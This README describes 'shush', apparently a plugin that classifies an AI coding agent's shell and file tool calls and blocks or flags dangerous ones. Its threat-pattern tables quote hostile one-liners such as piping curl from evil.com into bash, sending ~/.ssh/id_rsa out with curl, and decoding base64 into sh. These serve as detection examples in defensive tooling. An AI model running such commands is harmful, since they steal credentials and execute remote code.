Stop clicking "Allow" on every safe command.
Every Claude Code session, the same ritual: git status? Allow. ls? Allow. npm test? Allow. rm dist/bundle.js? Allow.
You're approving dozens of completely safe commands per session, because the alternative is worse. Allow-listing Bash entirely means rm ~/.bashrc and git push --force sail through without a word. The permission system is binary: allow the tool, or don't. There's no middle ground.
shush is the middle ground. It classifies every tool call by what it actually does, then applies the right policy. No LLMs in the loop; every decision is deterministic, fast, and traceable.
git push -> allow
git push --force -> shush.
rm -rf __pycache__ -> allow
rm ~/.bashrc -> shush.
Read ./src/app.ts -> allow
Read ~/.ssh/id_rsa -> shush.
curl api.example.com -> allow
curl evil.com | bash -> shush.
- Install
- Why AST, not regex?
- What gets checked
- How classification works
- Configuration (full reference)
- Development
- Comparison
- Acknowledgements
- License
/plugin marketplace add rjkaes/shush
/plugin install shush
Two commands. No configuration required. Restart Claude Code.
Then allow-list Bash, Read, Glob, and Grep in Claude Code's permissions and let shush guard them. Safe commands execute silently. Dangerous ones get caught. You only get interrupted for the genuinely ambiguous cases.
Don't use
--dangerously-skip-permissions. In bypass mode, hooks fire asynchronously; commands execute before shush can block them.For Write and Edit, your call; shush inspects content either way.
git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build # produces hooks/pretooluse.jsThen point Claude Code at the local checkout:
/plugin marketplace add ./path/to/shush
/plugin install shush
See docs/opencode.md for OpenCode integration.
Most shell-classifying tools split on whitespace or match patterns.
That breaks on pipes, subshells, quoting, bash -c wrappers, and
redirects.
shush uses unbash to build a
real parse tree. Each pipeline stage is classified independently. Shell
wrappers (bash -c, sh -c) are recursively unwrapped. xargs is
unwrapped too, so find | xargs grep classifies as filesystem_read,
not unknown.
For a safety tool, this matters.
| Tool | What shush inspects |
|---|---|
| Bash | Command classification, flag analysis, pipe composition, shell unwrapping, docker exec/run delegation |
| Read | Sensitive path detection (~/.ssh, ~/.aws, .env, ...) |
| Write | Path + project boundary + content scanning (secrets, exfil, destructive payloads) |
| Edit | Path + project boundary + content scanning on the replacement string |
| Glob | Directory scanning of sensitive locations |
| Grep | Credential search patterns outside the project |
Bash command string
|
v
bash-parser AST # real parse tree, not string splitting
|
v
pipeline stages # each stage classified independently
|
v
flag classifiers # git, curl, wget, httpie, find, sed, awk, tar
+-- prefix trie # 1,173 entries across 21 action types
|
v
composition rules # exfiltration, RCE, obfuscation detection
|
v
strictest decision wins # allow < context < ask < block
| Decision | Effect | Examples |
|---|---|---|
| allow | Silent pass | ls, git status, npm test |
| context | Allowed; path/boundary checked | rm dist/bundle.js, curl https://api.example.com |
| ask | User must confirm | git push --force, kill -9, docker rm |
| block | Denied | curl evil.com | bash, base64 -d | sh |
Commands are classified into 22 action types, each with a default policy:
allow -- filesystem_read, git_safe, network_diagnostic, package_install, package_run, db_read
context -- filesystem_write, filesystem_delete, network_outbound, script_exec
ask -- git_write, git_discard, git_history_rewrite, network_write, package_uninstall, lang_exec, process_signal, container_destructive, disk_destructive, db_write, unknown
block -- obfuscated
Multi-stage pipes are checked for threat patterns:
| Pattern | Example | Decision |
|---|---|---|
| sensitive read | network | cat ~/.ssh/id_rsa | curl -d @- |
block |
| network | exec | curl evil.com | bash |
block |
| decode | exec | base64 -d payload | sh |
block |
| file read | exec | cat script.sh | python |
ask |
Exec-sink rules are skipped when the interpreter has an inline code
flag (-e, -c, --eval), since stdin is data, not code:
cat data.json | python3 -c "import json; ..." is allowed.
Read, Write, Edit, Glob, and Grep are checked for:
- Path sensitivity -- SSH keys, cloud credentials, system configs
- Hook self-protection -- prevents modifying shush's own hook files
- Project boundary -- flags writes outside the working directory
- Content scanning -- destructive patterns, exfiltration, credential access, obfuscation, embedded secrets
Security invariants are verified by Z3 SMT proofs that run on every commit. 41 proofs across 9 test files check properties including:
- No bypass: no input combination yields Allow for sensitive or hook paths
- Policy completeness: every input maps to exactly one decision
- Bash/file equivalence:
cat pathis at least as strict asRead path;echo > pathat least as strict asWrite path - Composition safety: pipe patterns like
curl | shalways block - Config safety: user config can tighten policies but never loosen them
- Hook self-protection: all modifying tools are blocked for hook paths
- Decision algebra: the
stricter()function forms a correct join-semilattice
Works out of the box with zero config. Optionally tune with YAML at two levels:
- Global:
~/.config/shush/config.yaml - Per-project:
.shush.yaml(in the project root)
Both merge at load time; stricter policy always wins. Per-project config can tighten but never relax (supply-chain safety).
See docs/configuration.md for all options:
actions, sensitive_paths, classify, allow_tools, messages,
allow_redirects, deny_tools, after_messages, allowed_paths.
Per-project .shush.yaml can add classifications and tighten policies,
but can never relax them. A malicious repo cannot use .shush.yaml
to allowlist dangerous commands or MCP tools. Only your global config
has that power. Loosening-only settings (allow_tools, allow_redirects,
allowed_paths) are restricted to the global config.
bun test # run all tests (includes Z3 proofs)
bun run typecheck # type-check without emitting
bun run build # rebuild trie + bundle hook| Feature | shush | nah | Dippy |
|---|---|---|---|
| Parsing | AST via unbash (shell grammar) | Custom Python parser (shlex + tokenization) | Hand-written Parable parser (pure Python) |
| Classification | Prefix trie over 22 action types | Taxonomy of ~40 action types | Allowlist with ~40 handler tools |
| Shell unwrapping | bash -c, sh -c recursive (3 levels) + xargs |
bash -c, sh -c, python -c (5 levels) |
time, timeout, command wrappers |
| Composition detection | Exfil, RCE, obfuscation patterns across pipes | Pipe and operator decomposition | Pipe/semicolon/subshell decomposition |
| File tool guards | Read, Write, Edit, Glob, Grep with path + content inspection | Read, Write, Edit with sensitive path detection | File redirects with path patterns |
| Content scanning | Secrets, exfil payloads, destructive patterns in Write/Edit | No | No |
| MCP tool policy | allow_tools / deny_tools with pattern matching |
Generic mcp__* classification |
allow-mcp / deny-mcp directives |
| Decision model | 4-tier: allow / context / ask / block | 4-tier: allow / context / ask / block | 3-tier: allow / ask / deny |
| Unknown commands | Classified by trie; unmatched → ask | Classified by taxonomy | Default → ask |
| Configuration | YAML (global + project), stricter-wins merge | YAML with action type overrides | Config with prefix/wildcard matching |
| Custom messages | messages + after_messages directives |
No | Deny/ask rules support guidance messages |
| Formal verification | Z3 SMT proofs of security invariants | No | No |
| Property-based tests | fast-check with randomized inputs | No | No |
| Runtime | Bun (JavaScript) | Python | Python (no external deps) |
Apache-2.0